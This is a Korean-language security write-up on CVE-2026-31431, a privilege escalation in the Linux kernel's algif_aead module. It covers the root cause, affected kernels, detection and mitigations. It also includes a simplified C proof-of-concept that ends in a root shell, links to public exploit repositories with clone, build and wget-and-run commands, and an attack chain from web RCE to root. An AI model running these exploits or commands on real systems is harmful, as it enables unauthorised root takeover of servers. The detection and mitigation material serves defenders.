
CVE-2026-31431에 대한 기술 분석: algif_aead 모듈의 Linux 커널 로컬 권한 상승 취약점으로, 근본 원인, 영향을 받는 버전, 익스플로잇 흐름 및 완화 전략을 포함합니다.
분류: 로컬 권한 상승 (LPE) — Linux 커널
CVSS: 7.8 (높음)
영향:비특권 사용자 → root
영향을 받는 모듈:algif_aead(커널 AF_ALG 하위 시스템)
Linux 커널은 AF_ALG라는 암호화 인터페이스를 사용자 공간에 노출합니다 (AF_ALG 소켓 패밀리). 이 인터페이스는 비특권 프로세스가 root 없이도 커널의 암호화 가속기를 사용할 수 있게 해줍니다 — 암호화, 해싱, 키 생성 등.
그 모듈 중 하나가 algif_aead 로, AES-GCM 또는 ChaCha20-Poly1305와 같은 알고리즘에서 사용되는 AEAD(Authenticated Encryption with Associated Data) 모드를 구현합니다.
버그는 algif_aead가 출력 버퍼가 예상보다 작을 때 sendmsg() + recvmsg() 작업을 처리하는 방식에 있습니다. 커널은 크기를 제대로 검증하지 않고 복사 작업(copy_to_user)을 실행하여 다음과 같은 문제를 일으킵니다:
버퍼 오버플로 → 커널 메모리 경계를 벗어난 쓰기
기술적으로:
algif_aead_copy_sgl()
└─ sg_copy_to_buffer()
└─ memcpy가 사용자가 부분적으로 제어하는 주소로 실행
이 write-out-of-bounds는 메모리에서 인접한 커널 제어 구조를 덮어쓸 수 있게 합니다 — 특히 함수 포인터나 cred 구조체 — 권한을 상승시키기 위해.
AF_ALG는 비특권 사용자에게 제공되기 때문입니다. 모든 프로세스는 사전 인증 없이 AF_ALG 소켓을 열고 데이터를 보낼 수 있습니다. 이 익스플로잇은 보조 취약점이 필요하지 않습니다.
// 시스템의 모든 사용자가 할 수 있는 작업
int fd = socket(AF_ALG, SOCK_SEQPACKET, 0);
| 커널 버전 | 영향 여부 |
|---|---|
| < 5.10 | 아니요 (해당 형태의 모듈이 존재하지 않음) |
| 5.10 — 6.1.x | 예 ⚠️ |
| 6.2.x | 예 ⚠️ (PoC 커널 포함) |
| 6.3+ 패치 적용 | 아니요 ✅ |
# 커널 버전 확인
uname -r
# 취약한 모듈이 로드되었는지 확인
lsmod | grep algif_aead
# AF_ALG 사용 가능 여부 확인
cat /proc/net/protocols | grep ALG
$ uname -r
6.2.0-20-generic
$ lsmod | grep algif_aead
algif_aead 20480 0
af_alg 32768 3 algif_aead,algif_skcipher,algif_hash
⚠️
lsmod에서algif_aead가 보이고 커널이 Ubuntu 23.04의6.2.x라면, 노출된 상태입니다.
⚠️ 윤리적 고지: 이 섹션은 순전히 교육 목적입니다. 명시적 허가 없이 시스템을 악용하는 것은 불법이며 처벌 대상입니다. 예제는 통제된 실험실 환경을 위해 작성되었습니다.
1. AF_ALG 소켓 열기 (algif_aead)
2. oversized 버퍼로 sendmsg() 전송
3. 더 작은 버퍼로 recvmsg() → 버그 트리거
4. 커널 힙에 OOB 쓰기
5. cred->uid/gid를 0으로 덮어쓰기
6. execve("/bin/sh") → root 셸
#include <stdio.h>
#include <string.h>
#include <unistd.h>
#include <sys/socket.h>
#include <linux/if_alg.h>
int main(void) {
struct sockaddr_alg sa = {
.salg_family = AF_ALG,
.salg_type = "aead",
.salg_name = "gcm(aes)",
.salg_feat = 0,
.salg_mask = 0,
};
int fd = socket(AF_ALG, SOCK_SEQPACKET, 0);
bind(fd, (struct sockaddr *)&sa, sizeof(sa));
// 16바이트 키 설정
char key[16] = {0};
setsockopt(fd, SOL_ALG, ALG_SET_KEY, key, sizeof(key));
setsockopt(fd, SOL_ALG, ALG_SET_AEAD_AUTHSIZE, NULL, 16);
int op_fd = accept(fd, NULL, NULL);
// 큰 버퍼 → OOB 쓰기 트리거
char big_buf[4096] = {0};
char small_buf[16] = {0};
struct msghdr msg = {0};
// ... ALG_OP_ENCRYPT cmsg로 msghdr 구성
sendmsg(op_fd, &msg, 0);
// 불충분한 버퍼로 recvmsg → 커널이 경계 밖에 쓰기
recv(op_fd, small_buf, sizeof(small_buf), 0);
// 익스플로잇이 성공했다면, 이제 root
if (getuid() == 0) {
printf("[+] 루트 획득!\n");
execl("/bin/sh", "sh", NULL);
}
return 0;
}
이것은 단순화된 개요입니다. 실제 익스플로잇은 OOB 쓰기를
task_struct->cred구조체와 정렬하기 위한 추가적인 힙 셰이핑 프리미티브가 필요합니다.
다음 저장소에는 문서화된 기능 구현이 포함되어 있습니다:
copy-fail-c — 순수 C 익스플로잇, 컴파일 필요
https://github.com/tgies/copy-fail-c
copy-fail-tiny-elf — 독립형 ELF 바이너리, 컴파일 불필요
https://github.com/Crihexe/copy-fail-tiny-elf-CVE-2026-31431
# copy-fail-c 클론 및 컴파일
git clone https://github.com/tgies/copy-fail-c
cd copy-fail-c
make
./copyfail
# 취약한 시스템에서 예상 결과:
# [*] algif_aead 모듈 확인 중...
# [*] 힙 스프레이 준비 중...
# [+] OOB 쓰기 성공
# [+] UID 현재: 0
# # whoami
# root
wget https://github.com/Crihexe/copy-fail-tiny-elf-CVE-2026-31431/raw/main/copyfail
chmod +x copyfail
./copyfail
외부 공격자
│
▼
웹 취약점 악용 (RCE) → www-data 접근
│
▼
copyfail을 서버에 업로드 (wget/curl)
│
▼
./copyfail 실행
│
▼
서버에서 root 셸 ✓
www-data 접근부터 root까지 예상 시간: < 30초.
유일한 실제 해결책은 패치가 적용된 커널을 사용하는 것입니다.
# 옵션 1: Ubuntu 24.04 LTS로 업그레이드 (권장)
do-release-upgrade
# 옵션 2: 이미 Ubuntu 22.04 LTS를 사용 중인 경우
sudo apt update && sudo apt dist-upgrade
sudo reboot
# 패치된 커널 확인
uname -r # Ubuntu 22.04에서는 ≥ 5.15.0-107이어야 함
지금 업데이트할 수 없다면 algif_aead를 비활성화하세요:
# 모듈 블랙리스트 생성
echo "blacklist algif_aead" | sudo tee /etc/modprobe.d/blacklist-algif-aead.conf
# 영구 적용을 위해 initramfs 재생성
sudo update-initramfs -u
# 재부팅
sudo reboot
비활성화 확인:
lsmod | grep algif_aead
# 아무것도 표시되지 않아야 함
⚠️ 이는 AF_ALG를 통한 AEAD 암호화를 사용하는 소프트웨어를 손상시킬 수 있습니다 (표준 웹 서버에서는 드묾).
# 비특권 사용자 네임스페이스 비활성화 (일부 Docker 기능 손상)
sudo sysctl -w kernel.unprivileged_userns_clone=0
# 영구 적용
echo "kernel.unprivileged_userns_clone=0" | sudo tee -a /etc/sysctl.d/99-hardening.conf
sudo sysctl -p /etc/sysctl.d/99-hardening.conf
AF_ALG 접근을 거부하는 AppArmor 프로필 생성:
# /etc/apparmor.d/local/restrict-af-alg
network af_alg, # 특정 프로필에서 거부
웹 프로세스의 경우 (예: nginx/www-data):
# www-data 또는 nginx의 AppArmor 프로필에 추가
# deny network af_alg,
sudo apparmor_parser -r /etc/apparmor.d/usr.sbin.nginx
권한 상승을 막지는 못하지만 초기 공격 표면을 줄입니다:
# www-data에 sudo 권한이 없는지 확인
sudo grep www-data /etc/sudoers
# 불필요한 SUID 바이너리 제거
find / -perm -4000 2>/dev/null
# 접근 가능한 디렉토리 제한
chmod 700 /root
chmod 750 /home/*
https://nvd.nist.gov/vuln/detail/CVE-2026-31431crypto/algif_aead.chttps://github.com/tgies/copy-fail-chttps://github.com/Crihexe/copy-fail-tiny-elf-CVE-2026-31431학술 목적으로 작성된 문서 — 시스템 관리 엔지니어, 2026
| 배포판 | 일반적인 커널 | 패치 여부 |
|---|
| Ubuntu 23.04 (lunar) | 6.2.0 | ❌ EOL — 패치 없음 |
| Ubuntu 22.04 LTS | 5.15.x | ✅ 패치됨 |
| Ubuntu 24.04 LTS | 6.8.x | ✅ 영향 없음 |
| Debian 12 (Bookworm) | 6.1.x | ✅ 패치됨 |
| Arch Linux (2026-03+) | 6.8.x | ✅ 영향 없음 |
| 완화 조치 | 효과성 | 서비스 영향 | 영구적 |
|---|
| Ubuntu 24.04로 업데이트 | ✅ 완전 | 최소 | 예 |
algif_aead 블랙리스트 | ✅ 높음 | 매우 낮음 | 예 |
unprivileged_userns_clone=0 | 🟡 부분 | 중간 | 예 |
| AppArmor AF_ALG 거부 | ✅ 높음 | 낮음 | 예 |
| www-data 하드닝 | 🟡 감소 | 없음 | 예 |